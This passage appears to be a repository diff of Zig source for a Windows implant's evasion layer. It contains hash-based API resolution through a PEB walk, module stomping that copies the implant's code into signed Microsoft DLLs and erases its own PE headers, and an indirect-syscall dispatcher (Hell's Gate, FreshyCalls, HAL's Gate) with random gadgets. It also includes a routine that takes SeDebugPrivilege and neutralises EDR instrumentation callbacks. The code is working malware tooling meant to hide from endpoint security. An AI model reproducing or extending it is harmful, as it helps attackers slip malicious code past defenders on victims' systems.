const export_dir = nt.OptionalHeader.DataDirectory[0];
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return null;
const exp = @as(*pe.IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
if (exp.NumberOfNames == 0 or exp.AddressOfFunctions == 0 or exp.AddressOfNames == 0 or exp.AddressOfNameOrdinals == 0) return null;
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)))));
const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)))));
var i: u32 = 0;
while (i < exp.NumberOfNames) : (i += 1) {
if (names[i] == 0) continue;
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
const name = std.mem.sliceTo(name_ptr, 0);
if (hash_ror13(name) == func_hash) {
const ordinal = ords[i];
if (ordinal >= exp.NumberOfFunctions) continue;
const rva = funcs[ordinal];
if (rva >= export_dir.VirtualAddress and rva < export_dir.VirtualAddress + export_dir.Size) {
return resolve_forward_string(base_bytes, rva);
}
return @as(*anyopaque, @ptrCast(base_bytes + @as(usize, @intCast(rva))));
}
}
return null;
}
var cached_kernel32: ?*anyopaque = null;
var cached_ntdll: ?*anyopaque = null;
// Three-tier lookup: specific module by hash → kernel32 → ntdll → full PEB module walk.
// Falls back to scanning every loaded module if the requested module isn't found or isn't loaded.
pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque {
if (module_hash != 0) {
if (get_module_by_hash(module_hash)) |base| {
if (get_func_by_hash(base, func_hash)) |f| return f;
}
}
if (cached_kernel32 == null) cached_kernel32 = get_module_by_hash(hash_ror13("kernel32.dll"));
if (cached_kernel32) |base| {
if (get_func_by_hash(base, func_hash)) |f| return f;
}
if (cached_ntdll == null) cached_ntdll = get_module_by_hash(hash_ror13("ntdll.dll"));
if (cached_ntdll) |base| {
if (get_func_by_hash(base, func_hash)) |f| return f;
}
const peb_ptr = get_peb();
const ldr = peb_ptr.Ldr;
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
var entry = head.Flink;
while (entry != head) : (entry = entry.Flink) {
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
if (cached_kernel32) |ck| if (le.DllBase == ck) continue;
if (cached_ntdll) |cn| if (le.DllBase == cn) continue;
if (get_func_by_hash(le.DllBase, func_hash)) |f| return f;
}
return null;
}
+131
View File
@@ -0,0 +1,131 @@
// 5. Module stomping — copies our .text into a signed MS DLL so EDR sees legit code.
// Reference: https://dtsec.us/2023-11-04-ModuleStompin/
// 1. Walk PEB InMemoryOrderModuleList, match CryptoAPI/dwrite/msvcp_win (case-insensitive).
// 2. Parse our PE headers to locate .text VirtualAddress + VirtualSize.
// 3. NtProtectVirtualMemory(target, RWX) — make target DLL writable.
// 4. memcpy — copy our .text bytes into target's image range.
// 5. NtProtectVirtualMemory(target, RX) — restore so memory scanners see normal permissions.
// 6. Zero our DOS header + NT headers — can't find what you can't parse.
// our_base comes from Go's reflective loader, not PEB — we mapped ourselves.
const std = @import("std");
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig");
const pe = @import("pe.zig");
pub var g_evasion_relocated: bool = false;
// Core stomp flow: copies our .text into a target signed Microsoft DLL, then wipes our headers.
// our_base is the DLL base passed from the Go reflective loader (not PEB-discoverable).
// Targets are chosen from a shortlist of signed Microsoft DLLs that are always loaded in most processes.
pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
const targets = [_][]const u8{ "CryptoAPI.dll", "dwrite.dll", "msvcp_win.dll" };
if (our_base == null) return null;
// Walk PEB to find a suitable signed Microsoft DLL target
const peb = resolve.get_peb();
const ldr = peb.Ldr;
const head = @as(*resolve.LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
var target_base: ?*anyopaque = null;
var target_size: usize = 0;
var entry = head.Flink;
while (entry != head) : (entry = entry.Flink) {
const le: *resolve.LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(resolve.LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue;
// Match against our target shortlist (CryptoAPI, dwrite, msvcp_win)
if (target_base == null) {
const buf = le.BaseDllName.Buffer;
const len = le.BaseDllName.Length / 2;
for (targets) |target| {
if (target.len == len) {
var matches = true;
var ci: usize = 0;
while (ci < len) : (ci += 1) {
var c1 = buf[ci];
var c2 = target[ci];
if (c1 >= 'A' and c1 <= 'Z') c1 += 32;
if (c2 >= 'A' and c2 <= 'Z') c2 += 32;
if (c1 != c2) { matches = false; break; }
}
if (matches) {
target_base = le.DllBase;
target_size = le.SizeOfImage;
break;
}
}
}
}
if (target_base != null) break;
}
if (target_base == null) return null;
// Parse our own PE to locate the .text section
const own_bytes = @as([*]u8, @ptrCast(our_base.?));
const dos = @as(*const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(own_bytes)));
if (dos.e_magic != 0x5A4D) return null;
const nt = @as(*const pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(own_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != 0x00004550) return null;
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
const sections = @as([*]const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(own_bytes + section_off)));
// Scan section table for .text
var text_start: ?*anyopaque = null;
var text_size: usize = 0;
for (0..nt.FileHeader.NumberOfSections) |i| {
if (sections[i].Name[0] == '.' and sections[i].Name[1] == 't' and sections[i].Name[2] == 'e' and sections[i].Name[3] == 'x' and sections[i].Name[4] == 't') {
text_start = @as(*anyopaque, @ptrCast(own_bytes + sections[i].VirtualAddress));
text_size = sections[i].VirtualSize;
break;
}
}
if (text_start == null or text_size == 0) return null;
// Step 1: Make target memory RWX so we can write into it
var target_mut: ?*anyopaque = target_base;
var region_size: win.SIZE_T = target_size;
var old_prot: win.ULONG = 0;
const st = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(),
&target_mut,
&region_size,
win.PAGE_EXECUTE_READWRITE,
&old_prot,
);
if (!win.NT_SUCCESS(st)) return null;
// Step 2: Copy our .text into the target DLL's memory range
const dest = @as([*]u8, @ptrCast(target_mut orelse target_base.?));
const src = @as([*]const u8, @ptrCast(text_start.?));
@memcpy(dest[0..text_size], src[0..text_size]);
// Step 3: Restore target to RX so it looks normal to memory scanners
var restore_mut: ?*anyopaque = target_mut orelse target_base.?;
var restore_size: win.SIZE_T = target_size;
var new_old: win.ULONG = 0;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(),
&restore_mut,
&restore_size,
win.PAGE_EXECUTE_READ,
&new_old,
);
// Step 4: Zero out our original headers so scanners can't find a rogue DLL header
const old_bytes = @as([*]u8, @ptrCast(our_base.?));
const e_lfanew = dos.e_lfanew;
@memset(old_bytes[0..64], 0);
@memset(old_bytes[@as(usize, @intCast(e_lfanew)) .. @as(usize, @intCast(e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64)], 0);
g_evasion_relocated = true;
return our_base;
}
+431
View File
@@ -0,0 +1,431 @@
// Syscall dispatch — SSN extraction, indirect syscalls, IC removal.
// References
// Hell's Gate: https://github.com/am0nsec/HellsGate
// FreshyCalls: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
// Indirect syscalls (SysWhispers): https://github.com/jthuraisamy/SysWhispers
// CFG-aware IC: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/
// 1. Global pool — gadget addrs, ntdll base, PRNG state, FreshyCalls table
// 2. Assembly stubs — hells_gate, hell_descent
// 3. xorshift64 PRNG
// 4. Exception dir cache (HAL's Gate fallback)
// 5. build_freshy_table — Nt* exports → sort RVA → SSN = position
// 6. extract_ssn — FreshyCalls → HAL's Gate
// 7. syscall_dispatch — SSN → random gadget → dispatch
// 8. NT API wrappers
// 9. remove_edr_callbacks — SeDebugPrivilege → ProcessInstrumentationCallback (jmp r10 if CFG)
const std = @import("std");
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
const api = @import("api.zig");
// 1. global pool — syscall gadgets, ntdll base, PRNG state
var g_syscall_addrs: [64]usize = [_]usize{0} ** 64;
var g_syscall_count: usize = 0;
var g_ntdll_base: ?*anyopaque = null;
var g_init_done: bool = false;
var g_rand_state: u64 = 0;
// FreshyCalls table — ntdll Nt* exports sorted by RVA, SSN = position in sorted order
const FRESHY_MAX: usize = 1024;
const FreshyEntry = struct { hash: u32, rva: u32 };
var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined;
var g_freshy_count: usize = 0;
var g_freshy_ready: bool = false;
// jmp r10 gadget (41 FF E2) found in ntdll at init — used as CFG-safe IC neutralizer
var g_jmp_r10_gadget: usize = 0;
// 2. assembly stubs — hells_gate encrypts SSN, hell_descent jumps to gadget
extern fn hells_gate(ssn: u32, syscall_addr: usize) void;
extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize;
// 3. xorshift64 PRNG — seeded once from stack address ^ tick count
fn xorshift64() u64 {
var state = g_rand_state;
state ^= state << 13;
state ^= state >> 7;
state ^= state << 17;
g_rand_state = state;
return state;
}
// 4. exception directory cache — for HAL's Gate fallback
var g_ntdll_size: usize = 0;
var g_exc_begin: usize = 0;
var g_exc_count: usize = 0;
// FreshyCalls table builder — walks ntdll's export directory, collects Nt* exports
// with real code addresses (skips forwarded exports whose RVAs fall inside the export
// directory range). Sorts by RVA ascending. SSN = position in sorted order.
// Immune to inline hooking because it only reads the export directory and the RVA sort
// order is invariant — EDRs can't fake the linker's function layout.
// Reference: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
fn build_freshy_table() void {
const base = g_ntdll_base orelse return;
const base_bytes = @as([*]u8, @ptrCast(base));
const dos = @as(*align(1) extern struct { e_magic: u16, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
if (dos.e_magic != 0x5A4D) return;
const NT_SIGNATURE: u32 = 0x00004550;
const nt = @as(*align(1) extern struct {
Signature: u32,
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [18]u8 },
OptionalHeader: extern struct {
Magic: u16, pad1: [100]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 },
},
}, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != NT_SIGNATURE) return;
const export_dir = nt.OptionalHeader.DataDirectory[0];
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return;
const exp = @as(*align(1) extern struct {
Characteristics: u32, TimeDateStamp: u32, MajorVersion: u16, MinorVersion: u16,
Name: u32, Base: u32, NumberOfFunctions: u32, NumberOfNames: u32,
AddressOfFunctions: u32, AddressOfNames: u32, AddressOfNameOrdinals: u32,
}, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
if (exp.NumberOfNames == 0) return;
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)))));
const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)))));
g_freshy_count = 0;
const export_dir_end = export_dir.VirtualAddress + export_dir.Size;
var i: u32 = 0;
while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) {
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
const name = std.mem.sliceTo(name_ptr, 0);
// Only Nt* exports — Zw* shares identical SSNs and would produce duplicate positions
if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue;
const ordinal = ords[i];
if (ordinal >= exp.NumberOfFunctions) continue;
const rva = funcs[ordinal];
// Skip forwarded exports — their RVAs point inside the export directory
if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue;
g_freshy_entries[g_freshy_count] = FreshyEntry{
.hash = resolve.hash_ror13(name),
.rva = rva,
};
g_freshy_count += 1;
}
// Sort by RVA ascending — SSN = position in sorted order
if (g_freshy_count > 1) {
var bubble_i: usize = 0;
while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) {
var swapped = false;
var bubble_j: usize = 0;
while (bubble_j < g_freshy_count - 1 - bubble_i) : (bubble_j += 1) {
if (g_freshy_entries[bubble_j].rva > g_freshy_entries[bubble_j + 1].rva) {
const tmp = g_freshy_entries[bubble_j];
g_freshy_entries[bubble_j] = g_freshy_entries[bubble_j + 1];
g_freshy_entries[bubble_j + 1] = tmp;
swapped = true;
}
}
if (!swapped) break;
}
}
g_freshy_ready = true;
}
// FreshyCalls lookup — linear scan by hash in the sorted table, returns SSN.
fn extract_ssn_freshy(func_hash: u32) ?u16 {
if (!g_freshy_ready) return null;
for (0..g_freshy_count) |i| {
if (g_freshy_entries[i].hash == func_hash) {
return @as(u16, @intCast(i));
}
}
return null;
}
const RUNTIME_FUNCTION = extern struct {
BeginAddress: u32,
EndAddress: u32,
UnwindInfoAddress: u32,
};
// 5. extract SSN — tries FreshyCalls export-sort lookup first (immune to inline hooks),
// then falls back to HAL's Gate exception directory binary search with 0xB8 scan.
// Reference (FreshyCalls): https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
pub fn extract_ssn(func_hash: u32) ?u16 {
if (!init_syscall()) return null;
// 5a. FreshyCalls — look up hash in sorted export table, SSN = position
if (extract_ssn_freshy(func_hash)) |ssn| return ssn;
// 5b. HAL's Gate fallback — exception directory binary search + 0xB8 scan
const base = g_ntdll_base orelse return null;
const func_addr = resolve.get_func_by_hash(base, func_hash) orelse return null;
const func_addr_base = @intFromPtr(func_addr);
const base_addr = @intFromPtr(base);
const in_ntdll = func_addr_base >= base_addr and func_addr_base < base_addr + g_ntdll_size;
if (!in_ntdll) return null;
const func_rva = @as(u32, @intCast(func_addr_base - base_addr));
if (g_exc_count == 0) return null;
const funcs = @as([*]align(1) const RUNTIME_FUNCTION, @ptrFromInt(g_exc_begin));
var lo: usize = 0;
var hi: usize = g_exc_count;
while (lo < hi) {
const mid = lo + (hi - lo) / 2;
const entry = funcs[mid];
if (func_rva < entry.BeginAddress) {
hi = mid;
} else if (func_rva >= entry.EndAddress) {
lo = mid + 1;
} else {
const start_rva = entry.BeginAddress;
const end_rva = entry.EndAddress;
const scan_bytes = @as([*]const u8, @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva));
const scan_len = @min(end_rva - start_rva, 96);
var j: usize = 4;
while (j < scan_len) : (j += 1) {
if (scan_bytes[j] == 0xB8) {
const ssn = std.mem.readInt(u32, scan_bytes[j + 1 ..][0..4], .little);
if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) {
return @as(u16, @intCast(ssn));
}
}
}
return null;
}
}
return null;
}
// Scans all of ntdll for "syscall; ret" (0F 05 C3) byte sequences, stores their addresses
// in g_syscall_addrs. Also seeds the PRNG, builds FreshyCalls table, caches exception
// directory for HAL's Gate fallback, and finds jmp r10 gadget for CFG-aware IC removal.
// Runs once — subsequent calls no-op.
pub fn init_syscall() bool {
if (g_init_done and g_ntdll_base != null) return true;
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
g_ntdll_base = resolve.get_module_by_hash(ntdll_hash);
if (g_ntdll_base == null) return false;
// Seed PRNG from stack address ^ tick count
var stack_var: u64 = 0;
g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var)));
if (resolve.resolve_api(resolve.hash_ror13("kernel32.dll"), resolve.hash_ror13("GetTickCount64"))) |p| {
const GetTickCount64 = @as(*const fn () callconv(win.WINAPI) u64, @ptrCast(p));
g_rand_state ^= GetTickCount64();
}
// Scan entire ntdll for "syscall; ret" (0F 05 C3)
const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?));
const dos = @as(*align(1) extern struct { e_magic: u16, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
if (dos.e_magic != 0x5A4D) return false;
const NT_SIGNATURE: u32 = 0x00004550;
const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { NumberOfSections: u16, pad: [18]u8 }, OptionalHeader: extern struct { SizeOfImage: u32, pad: [236]u8 } }, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != NT_SIGNATURE) return false;
g_ntdll_size = nt.OptionalHeader.SizeOfImage;
g_syscall_count = 0;
var j: usize = 0;
const scan_end: usize = nt.OptionalHeader.SizeOfImage;
while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) {
g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
g_syscall_count += 1;
}
}
if (g_syscall_count == 0) return false;
// Cache exception directory range for HAL's Gate fallback
{
const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240));
const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start));
for (0..nt.FileHeader.NumberOfSections) |si| {
const sec = &sections[si];
if (sec.Name[0] == '.' and sec.Name[1] == 'p' and sec.Name[2] == 'd' and sec.Name[3] == 'a' and sec.Name[4] == 't' and sec.Name[5] == 'a') {
g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(g_ntdll_base.?)) + sec.VirtualAddress);
g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION);
break;
}
}
}
// Build FreshyCalls table — Nt* exports sorted by RVA, SSN = position
build_freshy_table();
// Scan for jmp r10 gadget (41 FF E2) — used by CFG-aware IC nullifier
{
var scan_i: usize = 0;
while (scan_i < scan_end - 3) : (scan_i += 1) {
if (base_bytes[scan_i] == 0x41 and base_bytes[scan_i + 1] == 0xFF and base_bytes[scan_i + 2] == 0xE2) {
g_jmp_r10_gadget = @intFromPtr(&base_bytes[scan_i]);
break;
}
}
}
g_init_done = true;
return true;
}
// Core dispatcher: extract SSN → pick random syscall gadget → hells_gate to encrypt SSN →
// pack up to 11 args → call hell_descent assembly stub. Gadget address and SSN are XOR'd
// with a mask stored in the assembly data section (stack-based masking, not a real cipher).
pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize {
const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001);
const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count;
const gadget = g_syscall_addrs[idx];
hells_gate(@as(u32, ssn), gadget);
const a = [11]usize{
args[0],
if (arg_count > 1) args[1] else 0,
if (arg_count > 2) args[2] else 0,
if (arg_count > 3) args[3] else 0,
if (arg_count > 4) args[4] else 0,
if (arg_count > 5) args[5] else 0,
if (arg_count > 6) args[6] else 0,
if (arg_count > 7) args[7] else 0,
if (arg_count > 8) args[8] else 0,
if (arg_count > 9) args[9] else 0,
if (arg_count > 10) args[10] else 0,
};
return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]);
}
fn ntstatus(r: usize) win.NTSTATUS {
return @as(win.NTSTATUS, @bitCast(@as(u32, @truncate(r))));
}
// --------- NT API wrappers ---------
// Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash.
// Creates a kernel timer object. Used by rc4_sleep for unhooked timing.
pub fn nt_create_timer(timer: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*anyopaque) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(timer), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateTimer"), &args, 3));
}
// Arms a timer to fire after the specified interval.
pub fn nt_set_timer(timer: win.HANDLE, due_time: *win.LARGE_INTEGER, timer_routine: ?*anyopaque, resume_thread: win.BOOLEAN, period: win.LONG, tolerable_delay: ?*win.ULONG) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(timer), @intFromPtr(due_time), if (timer_routine) |p| @intFromPtr(p) else @as(usize, 0), @intFromBool(resume_thread != 0), @as(usize, @as(u32, @bitCast(period))), if (tolerable_delay) |p| @intFromPtr(p) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetTimer"), &args, 6));
}
// Waits on a timer handle to go signaled. Unhooked alternative to Sleep.
pub fn nt_wait_for_multiple_objects(count: win.ULONG, handles: [*]const win.HANDLE, wait_type: win.BOOLEAN, alertable: win.BOOLEAN, timeout: ?*win.LARGE_INTEGER) win.NTSTATUS {
const args = [_]usize{ @as(usize, count), @intFromPtr(handles), @intFromBool(wait_type != 0), @intFromBool(alertable != 0), if (timeout) |t| @intFromPtr(t) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtWaitForMultipleObjects"), &args, 5));
}
// Standard sleep syscall. Spoofed — EDRs commonly hook SleepEx and derivatives.
pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS {
const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2));
}
// Queries process info (PPI, PE flags, mitigation policies, etc).
pub fn nt_query_information_process(process_handle: win.HANDLE, info_class: u32, info: *anyopaque, info_len: u32, return_len: ?*u32) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (return_len) |rl| @intFromPtr(rl) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryInformationProcess"), &args, 5));
}
// Sets thread properties (hide from debugger, etc).
pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, info: *const anyopaque, info_len: u32) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4));
}
// Closes a handle. Spoofed — EDRs monitor this as a way to detect handle leaks from unknown sources.
pub fn nt_close(handle: win.HANDLE) win.NTSTATUS {
const args = [_]usize{@intFromPtr(handle)};
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1));
}
// Pseudo-handles: no need to open, just use these constants
pub fn nt_current_process() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF)); }
pub fn nt_current_thread() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE)); }
// Opens a handle to another process by PID.
pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(object_attributes), @intFromPtr(client_id) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4));
}
// Sets process-level properties. Spoofed because EDR callbacks use this API.
pub fn nt_set_information_process(process_handle: win.HANDLE, info_class: u32, info: *const anyopaque, info_len: u32) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationProcess"), &args, 4));
}
// Escalates SeDebugPrivilege so that NtSetInformationProcess(InfoClass=40) can clear EDR
// process instrumentation callbacks. Silently skipped if any step fails — privilege escalation
// is best-effort (requires admin/elevated token on most systems, defanged on 11 23H2+).
fn escalate_debug_priv() void {
const getcp = api.priv_get_current_process orelse return;
const open_tok = api.exec_open_process_token orelse return;
const lookup = api.priv_lookup_privilege_value_w orelse return;
const adjust = api.priv_adjust_token_privileges orelse return;
var h_token: win.HANDLE = undefined;
if (open_tok(getcp(), win.TOKEN_ADJUST_PRIVILEGES | win.TOKEN_QUERY, &h_token) == 0) return;
defer _ = nt_close(h_token);
var luid: win.LUID = undefined;
if (lookup(null, &[_:0]u16{ 'S', 'e', 'D', 'e', 'b', 'u', 'g', 'P', 'r', 'i', 'v', 'i', 'l', 'e', 'g', 'e' }, &luid) == 0) return;
var tp = win.TOKEN_PRIVILEGES{
.PrivilegeCount = 1,
.Privileges = [1]win.LUID_AND_ATTRIBUTES{.{ .Luid = luid, .Attributes = win.SE_PRIVILEGE_ENABLED }},
};
_ = adjust(h_token, 0, &tp, 0, null, null);
}
// Removes kernel-level EDR instrumentation callbacks (InfoClass 40 = ProcessInstrumentationCallback).
// CFG-aware: on CFG-enabled systems (Win10 1709+ default), the kernel refuses to null the
// callback pointer. Instead we set it to a jmp r10 gadget in ntdll — the IC fires but
// immediately returns, effectively neutralizing the callback.
// Reference: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/
// Runs LAST in startup chain — after ETW/AMSI patches, so the "silence" isn't immediately flagged.
pub fn remove_edr_callbacks() void {
escalate_debug_priv();
const PI_CALLBACK: u32 = 40;
const callback = if (g_jmp_r10_gadget != 0) @as(*anyopaque, @ptrFromInt(g_jmp_r10_gadget)) else null;
var callbacks = win.PROCESS_INSTRUMENTATION_CALLBACK{ .Version = 0, .Reserved = 0, .Callback = callback };
_ = nt_set_information_process(nt_current_process(), PI_CALLBACK, @ptrCast(&callbacks), @sizeOf(win.PROCESS_INSTRUMENTATION_CALLBACK));
}
// Allocates virtual memory in any process. Spoofed — high-value EDR target.
pub fn nt_allocate_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, region_size: *win.SIZE_T, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, zero_bits), @intFromPtr(region_size), @as(usize, allocation_type), @as(usize, protect) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtAllocateVirtualMemory"), &args, 6));
}
// Changes page protection. Spoofed — commonly monitored for shellcode/RWX patterns.
pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5));
}
// Creates a thread in any process. Spoofed — primary EDR/AV injection detection point.
pub fn nt_create_thread_ex(thread_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*const win.OBJECT_ATTRIBUTES, process_handle: win.HANDLE, start_address: *anyopaque, parameter: ?*anyopaque, create_flags: win.ULONG, zero_bits: win.SIZE_T, stack_size: win.SIZE_T, max_stack_size: win.SIZE_T, attribute_list: ?*anyopaque) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromPtr(process_handle), @intFromPtr(start_address), if (parameter) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, create_flags), @as(usize, zero_bits), @as(usize, stack_size), @as(usize, max_stack_size), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateThreadEx"), &args, 11));
}
// Creates a new process. Spoofed — fork-and-run is the loudest IOC EDRs look for.
pub fn nt_create_user_process(process_handle: *win.HANDLE, thread_handle: *win.HANDLE, process_access: win.DWORD, thread_access: win.DWORD, process_oa: ?*const win.OBJECT_ATTRIBUTES, thread_oa: ?*const win.OBJECT_ATTRIBUTES, process_flags: win.ULONG, thread_flags: win.ULONG, process_parameters: ?*anyopaque, create_info: *win.PROCESS_CREATE_INFO, attribute_list: ?*anyopaque) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(thread_handle), @as(usize, process_access), @as(usize, thread_access), if (process_oa) |oa| @intFromPtr(oa) else @as(usize, 0), if (thread_oa) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, process_flags), @as(usize, thread_flags), if (process_parameters) |pp| @intFromPtr(pp) else @as(usize, 0), @intFromPtr(create_info), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateUserProcess"), &args, 11));
}
// Controls ETW tracing sessions. Used to stop EDR provider GUIDs.
pub fn nt_trace_control(code: win.ULONG, input: ?*anyopaque, input_len: win.ULONG, output: ?*anyopaque, output_len: win.ULONG, ret_len: *win.ULONG) win.NTSTATUS {
const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6));
}
